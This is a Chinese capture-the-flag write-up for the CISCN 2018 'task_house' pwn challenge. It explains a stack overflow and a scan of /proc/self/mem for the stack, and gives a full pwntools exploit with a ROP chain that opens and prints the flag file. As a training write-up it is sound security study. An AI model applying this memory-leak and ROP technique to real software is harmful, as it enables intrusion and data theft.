这道题是ciscn2018的一道pwn,其中需要读取/proc/self/maps文件和/proc/self/mem文件和/proc/self/mem文件

文件都在:Github

checksec

1
2
3
4
5
6
[*] '/home/dajun/binary/pwn_question/heap/ciscn2018 task_house/task_house'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

漏洞点

仅限制不能打开flag文件,以及栈溢出

利用方法

  • 打开/proc/self/maps文件,能得到elf基地址以及clone出的线程的栈地址

  • 打开/proc/self/mem文件,扫描搜索我们得到的栈地址的内存空间,如果其中存在/proc/self/mem字符串则代表我们找到了当前栈空间

  • 通过打开文件的函数进行栈溢出,将栈上存储的malloc出的地址修改为read函数返回地址所对应的栈地址

  • 1
    2
    3
    4
    5
    case 4u:
    puts("What do you want to give me?");
    puts("content: ");
    read(0, v8, 0x200uLL);
    break;

    通过这个函数对v8即我们已经修改的地址写rop链,read函数返回的时候就会直接rop

因为它本身有四个文件描述符:stdinstdoutstderr/dev/urandom

而我们又打开了两个文件:/proc/self/maps/proc/self/mem

所以我们rop的时候打开的flag文件的文件描述符是6

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context(arch='amd64',os='linux',log_level='info')

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x:log.success(x)
io = 0
binary = './task_house'

def debug():
gdb.attach(io)
raw_input()

def menu(idx):
ru('5.Exit\n')
sl(str(idx))

def find(name):
menu(1)
ru('finding?\n')
sl(name)

def locate(locate):
menu(2)
ru('you?\n')
sl(str(locate))

def get(n):
menu(3)
ru('get?\n')
sl(str(n))
ru('something:\n')
return rn(n)

def give(cont):
menu(4)
ru('content: \n')
sl(cont)

def pwn():
global io
io = process(binary)
ru('Y/n?\n')
sl('y')
find("/proc/self/maps")
rv = get(1000)

elf_base = int(rv[:12], 16)
pop_rdi = elf_base + 0x1823
pop_rsi = elf_base + 0x1821
stack_start = int(rv[506:518], 16)
#stack_start = int(rv[530:542], 16)
success("stack address: 0x%x\nelf base: 0x%x" %(stack_start, elf_base))
stack_size = 0x10000000
how_many = 100000

stack_start = stack_start + 0x150000 #这个是我瞎写的一个偏移

find("/proc/self/mem")
locate(stack_start)
flag = False
cont = 0
count = 0
for i in range(24): # 在24轮里面搜索栈空间
cont = get(how_many)
if '/proc/self/mem' in cont:
count = i
flag = True
break
if flag == False:
return 0
try:
pos = cont.index('/proc/self/mem')
except:
return 0
str_pos = pos + stack_start + how_many * count
read_ret_pos = str_pos - 0x38
success("ret address: 0x%x\nstr pos: 0x%x" %(read_ret_pos, str_pos))
payload = "/proc/self/mem"
payload = payload.ljust(0x18, '\x00')
payload += p64(read_ret_pos)
find(payload) # 把v8的地址修改成read_ret_pos
flag_address = read_ret_pos + 15*8
open_address = elf_base + 0xC00
read_address = elf_base + 0xBA0
puts_address = elf_base + 0xB00
payload = p64(pop_rdi) + p64(flag_address) + p64(pop_rsi) + p64(0)*2
payload += p64(open_address) + p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(flag_address) + p64(0)
payload += p64(read_address) + p64(pop_rdi) + p64(flag_address) + p64(puts_address)
payload += "flag\x00"
give(payload) #这里就可以进行rop了
context.log_level = 'debug'
print rn(1024)
return 1

if __name__ == '__main__':
while(True):
a = pwn() #因为mmap出来的内存太大了,而我们一次能搜索的空间又很小,所以需要碰运气
if a == 1:
break
else:
io.kill()

总结

遇到一个奇怪的事情,如果在脚本中执行gdb.attach(io),然后再下断点,执行到断点的时候程序会因为收到了断点的那个信号而退出,导致不好调试

通过/proc/self/maps或者/proc/pidof something/maps可以知道程序的各个区间

通过/proc/self/mem或者/proc/pidof something/mem可以读到程序的内存空间

int clone(int (*fn)(void * arg), void *stack, int flags, void * arg);创建了一个执行fn函数的,以stack为栈空间的线程